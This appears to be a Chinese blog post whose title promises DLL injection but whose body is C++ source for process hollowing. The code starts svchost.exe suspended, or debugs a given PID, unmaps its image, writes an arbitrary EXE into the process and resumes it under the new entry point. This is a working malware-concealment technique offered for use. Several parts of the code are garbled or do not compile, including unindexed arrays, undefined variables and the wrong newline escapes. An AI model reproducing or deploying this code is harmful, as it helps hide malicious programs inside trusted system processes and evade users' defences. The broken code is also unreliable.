一个向别的进程插入dll的代码

 
 
#include "stdafx.h" #include "windows.h" #include "tlhelp32.h" #include "ntpsapi.h" struct PE_Header { unsigned long signature; unsigned short machine; unsigned short numSections; unsigned long timeDateStamp; unsigned long pointerToSymbolTable; unsigned long numOfSymbols; unsigned short sizeOfOptionHeader; unsigned short characteristics; }; struct PE_ExtHeader { unsigned short magic; unsigned char majorLinkerVersion; unsigned char minorLinkerVersion; unsigned long sizeOfCode; unsigned long sizeOfInitializedData; unsigned long sizeOfUninitializedData; unsigned long addressOfEntryPoint; unsigned long baseOfCode; unsigned long baseOfData; unsigned long imageBase; unsigned long sectionAlignment; unsigned long fileAlignment; unsigned short majorOSVersion; unsigned short minorOSVersion; unsigned short majorImageVersion; unsigned short minorImageVersion; unsigned short majorSubsystemVersion; unsigned short minorSubsystemVersion; unsigned long reserved1; unsigned long sizeOfImage; unsigned long sizeOfHeaders; unsigned long checksum; unsigned short subsystem; unsigned short DLLCharacteristics; unsigned long sizeOfStackReserve; unsigned long sizeOfStackCommit; unsigned long sizeOfHeapReserve; unsigned long sizeOfHeapCommit; unsigned long loaderFlags; unsigned long numberOfRVAAndSizes; unsigned long exportTableAddress; unsigned long exportTableSize; unsigned long importTableAddress; unsigned long importTableSize; unsigned long resourceTableAddress; unsigned long resourceTableSize; unsigned long exceptionTableAddress; unsigned long exceptionTableSize; unsigned long certFilePointer; unsigned long certTableSize; unsigned long relocationTableAddress; unsigned long relocationTableSize; unsigned long debugDataAddress; unsigned long debugDataSize; unsigned long archDataAddress; unsigned long archDataSize; unsigned long globalPtrAddress; unsigned long globalPtrSize; unsigned long TLSTableAddress; unsigned long TLSTableSize; unsigned long loadConfigTableAddress; unsigned long loadConfigTableSize; unsigned long boundImportTableAddress; unsigned long boundImportTableSize; unsigned long importAddressTableAddress; unsigned long importAddressTableSize; unsigned long delayImportDescAddress; unsigned long delayImportDescSize; unsigned long COMHeaderAddress; unsigned long COMHeaderSize; unsigned long reserved2; unsigned long reserved3; }; struct SectionHeader { unsigned char sectionName[8]; unsigned long virtualSize; unsigned long virtualAddress; unsigned long sizeOfRawData; unsigned long pointerToRawData; unsigned long pointerToRelocations; unsigned long pointerToLineNumbers; unsigned short numberOfRelocations; unsigned short numberOfLineNumbers; unsigned long characteristics; }; struct MZHeader { unsigned short signature; unsigned short partPag; unsigned short pageCnt; unsigned short reloCnt; unsigned short hdrSize; unsigned short minMem; unsigned short maxMem; unsigned short reloSS; unsigned short exeSP; unsigned short chksum; unsigned short exeIP; unsigned short reloCS; unsigned short tablOff; unsigned short overlay; unsigned char reserved[32]; unsigned long offsetToPE; }; struct ImportDirEntry { DWORD importLookupTable; DWORD timeDateStamp; DWORD fowarderChain; DWORD nameRVA; DWORD importAddressTable; }; struct FixupBlock { unsigned long pageRVA; unsigned long blockSize; }; #define TARGETPROC "svchost.exe" ; typedef struct _PROCINFO { DWORD baseAddr; DWORD imageSize; } PROCINFO; BOOL EXPD = False ; CHAR *PID; //********************************************************************************************************** // // This function reads the MZ, PE, PE extended and Section Headers from an EXE file. // //********************************************************************************************************** bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,       SectionHeader **outSecHdr) { fseek(fp, 0, SEEK_END); long fileSize = ftell(fp); fseek(fp, 0, SEEK_SET); if(fileSize < sizeof(MZHeader)) {   printf("File size too small/n");      return false; } // read MZ Header MZHeader mzH; fread(&mzH, sizeof(MZHeader), 1, fp); if(mzH.signature != 0x5a4d)   // MZ {   printf("File does not have MZ header/n");   return false; } printf("Offset to PE Header = %X/n", mzH.offsetToPE); if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) {   printf("File size too small/n");      return false; } // read PE Header fseek(fp, mzH.offsetToPE, SEEK_SET); PE_Header peH; fread(&peH, sizeof(PE_Header), 1, fp); printf("Size of option header = %d/n", peH.sizeOfOptionHeader); printf("Number of sections = %d/n", peH.numSections); if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) {   printf("Unexpected option header size./n");      return false; } // read PE Ext Header PE_ExtHeader peXH; fread(&peXH, sizeof(PE_ExtHeader), 1, fp); printf("Import table address = %X/n", peXH.importTableAddress); printf("Import table size = %X/n", peXH.importTableSize); printf("Import address table address = %X/n", peXH.importAddressTableAddress); printf("Import address table size = %X/n", peXH.importAddressTableSize); // read the sections SectionHeader *secHdr = new SectionHeader[peH.numSections]; fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp); *outMZ = mzH; *outPE = peH; *outpeXH = peXH; *outSecHdr = secHdr; return true; } //********************************************************************************************************** // // This function calculates the size required to load an EXE into memory with proper alignment. // //********************************************************************************************************** int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,         SectionHeader *inSecHdr) { int result = 0; int alignment = inpeXH->sectionAlignment; if(inpeXH->sizeOfHeaders % alignment == 0)   result += inpeXH->sizeOfHeaders; else {   int val = inpeXH->sizeOfHeaders / alignment;   val++;   result += (val * alignment); } for(int i = 0; i < inPE->numSections; i++) {   if(inSecHdr.virtualSize)   {     if(inSecHdr.virtualSize % alignment == 0)       result += inSecHdr.virtualSize;     else     {       int val = inSecHdr.virtualSize / alignment;       val++;       result += (val * alignment);     }   } } return result; } //********************************************************************************************************** // // This function calculates the aligned size of a section // //********************************************************************************************************** unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment) {    if(curSize % alignment == 0)   return curSize; else {   int val = curSize / alignment;   val++;   return (val * alignment); } } //********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //********************************************************************************************************** bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,     SectionHeader *inSecHdr, LPVOID ptrLoc) { char *outPtr = (char *)ptrLoc; fseek(fp, 0, SEEK_SET); unsigned long headerSize = inpeXH->sizeOfHeaders; // certain PE files have sectionHeaderSize value > size of PE file itself. // this loop handles this situation by find the section that is nearest to the // PE header. for(int i = 0; i < inPE->numSections; i++) {   if(inSecHdr.pointerToRawData < headerSize)     headerSize = inSecHdr.pointerToRawData; } // read the PE header unsigned long readSize = fread(outPtr, 1, headerSize, fp); printf("HeaderSize = %d/n", headerSize); if(readSize != headerSize) {   printf("Error reading headers (%d %d)/n", readSize, headerSize);   return false;    } outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment); // read the sections for(i = 0; i < inPE->numSections; i++) {   if(inSecHdr.sizeOfRawData > 0)   {     unsigned long toRead = inSecHdr.sizeOfRawData;     if(toRead > inSecHdr.virtualSize)       toRead = inSecHdr.virtualSize;     fseek(fp, inSecHdr.pointerToRawData, SEEK_SET);     readSize = fread(outPtr, 1, toRead, fp);     if(readSize != toRead)     {       printf("Error reading section %d/n", i);       return false;     }     outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);   }   else   {     // this handles the case where the PE file has an empty section. E.g. UPX0 section     // in UPXed files.     if(inSecHdr.virtualSize)       outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);   } } return true; } //********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //********************************************************************************************************** void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,         SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) {   FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);   long delta = newBase - inpeXH->imageBase;   while(fixBlk->blockSize)   {     printf("Addr = %X/n", fixBlk->pageRVA);     printf("Size = %X/n", fixBlk->blockSize);     int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;     printf("Num Entries = %d/n", numEntries);     unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);     for(int i = 0; i < numEntries; i++)     {       DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));              int relocType = (*offsetPtr & 0xF000) >> 12;              printf("Val = %X/n", *offsetPtr);       printf("Type = %X/n", relocType);       if(relocType == 3)         *codeLoc = ((DWORD)*codeLoc) + delta;       else       {         printf("Unknown relocation type = %d/n", relocType);       }       offsetPtr++;     }     fixBlk = (FixupBlock *)offsetPtr;   } }    } //********************************************************************************************************** // // Creates the original EXE in suspended mode and returns its info in the PROCINFO structure. // //**********************************************************************************************************       BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo) { STARTUPINFO si = {0}; if(!EXPD)   { if(CreateProcess(NULL, TARGETPROC,         NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))    {   ctx->ContextFlags=CONTEXT_FULL;   GetThreadContext(pi->hThread, ctx);   DWORD *pebInfo = (DWORD *)ctx->Ebx;   DWORD read;   ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);   DWORD curAddr = outChildProcInfo->baseAddr;   MEMORY_BASIC_INFORMATION memInfo;   while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))   {     if(memInfo.State == MEM_FREE)       break;     curAddr += memInfo.RegionSize;   }   outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;   return TRUE; } } else {   DEBUG_EVENT DBEvent;   if(DebugActiveProcess((DWORD)*PID))   {     WaitForDebugEvent(&DBEvent,INFINITE);     pi->hThread=DBEvent.u.CreateProcessInfo.hThread;     pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;     ctx->ContextFlags=CONTEXT_FULL;   GetThreadContext(pi->hThread, ctx);   DWORD *pebInfo2 = (DWORD *)ctx->Fs;   *pedInfo2+=0x30;   DWORD read2;   ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);   DWORD curAddr2 = outChildProcInfo2->baseAddr;   MEMORY_BASIC_INFORMATION memInfo2;   while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))   {     if(memInfo2.State == MEM_FREE)       break;     curAddr2+= memInfo2.RegionSize;   }   outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;   return TRUE;   } } return FALSE; } //********************************************************************************************************** // // Returns true if the PE file has a relocation table // //********************************************************************************************************** BOOL hasRelocationTable(PE_ExtHeader *inpeXH) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) {   return TRUE; } return FALSE; } typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress); //********************************************************************************************************** // // To replace the original EXE with another one we do the following. // 1) Create the original EXE process in suspended mode. // 2) Unmap the image of the original EXE. // 3) Allocate memory at the baseaddress of the new EXE. // 4) Load the new EXE image into the allocated memory. // 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended //   thread. // // When the original EXE process is created in suspend mode, GetThreadContext returns these useful // register values. // EAX - process entry point // EBX - points to PEB // // So before resuming the suspended thread, we need to set EAX of the context to the entry point of the // new EXE. // //********************************************************************************************************** void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,     SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize) { STARTUPINFO si = {0}; PROCESS_INFORMATION pi; CONTEXT ctx; PROCINFO childInfo; if(createChild(&pi, &ctx, &childInfo)) {      printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);   printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);      LPVOID v = (LPVOID)NULL;      if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)   {     // if new EXE has same baseaddr and is its size is <= to the original EXE, just     // overwrite it in memory     v = (LPVOID)childInfo.baseAddr;     DWORD oldProtect;     VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);               printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);   }   else   {     // get address of ZwUnmapViewOfSection     PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");     // try to unmap the original EXE image     if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)     {       // allocate memory for the new EXE image at the prefered imagebase.       v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);       if(v)         printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);     }   }   if(!v && hasRelocationTable(inpeXH))   {     // if unmap failed but EXE is relocatable, then we try to load the EXE at another     // location     v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);     if(v)     {       printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);       // we've got to do the relocation ourself if we load the image at another       // memory location             doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);     }   }   printf("EIP = %X/n", ctx.Eip);   printf("EAX = %X/n", ctx.Eax);   printf("EBX = %X/n", ctx.Ebx);   // EBX points to PEB   printf("ECX = %X/n", ctx.Ecx);   printf("EDX = %X/n", ctx.Edx);      if(v)   {           printf("New EXE Image Size = %X/n", imageSize);         // patch the EXE base addr in PEB (PEB + 8 holds process base addr)     DWORD *pebInfo = (DWORD *)ctx.Ebx;     DWORD wrote;                WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);     // patch the base addr in the PE header of the EXE that we load ourselves     PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);     peXH->imageBase = (DWORD)v;         if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))     {          printf("New EXE image injected into process./n");       ctx.ContextFlags=CONTEXT_FULL;             //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);              if((DWORD)v == childInfo.baseAddr)       {         ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;   // eax holds new entry point       }       else       {         // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was         // performed.         ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;   // eax holds new entry point       }       printf("********> EIP = %X/n", ctx.Eip);       printf("********> EAX = %X/n", ctx.Eax);       SetThreadContext(pi.hThread,&ctx);       ResumeThread(pi.hThread);       printf("Process resumed (PID = %d)./n", pi.dwProcessId);     }     else     {       printf("WriteProcessMemory failed/n");       TerminateProcess(pi.hProcess, 0);     }   }   else   {     printf("Load failed. Consider making this EXE relocatable./n");     TerminateProcess(pi.hProcess, 0);   } } else {   printf("Cannot load %s/n", TARGETPROC); } } int main(int argc, char* argv[]) { if((argc < 2 )||(argc > 3)) {   printf("/nUsage: %s [pid]/n", argv[0]);   return 1; }   if(argc==3){   alloc(PID,1024);   memset(PID,0,1024);   strcpy(PID,argv[2]);   EXPD= True ;   }    FILE *fp = fopen(argv[1], "rb"); if(fp) {   MZHeader mzH;   PE_Header peH;   PE_ExtHeader peXH;   SectionHeader *secHdr;   if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))   {     int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);     printf("Image Size = %X/n", imageSize);     LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);     if(ptrLoc)     {       printf("Memory allocated at %X/n", ptrLoc);       loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                     doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                    }     else       printf("Allocation failed/n");   }   fclose(fp); } else   printf("/nCannot open the EXE file!/n"); return 0; }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值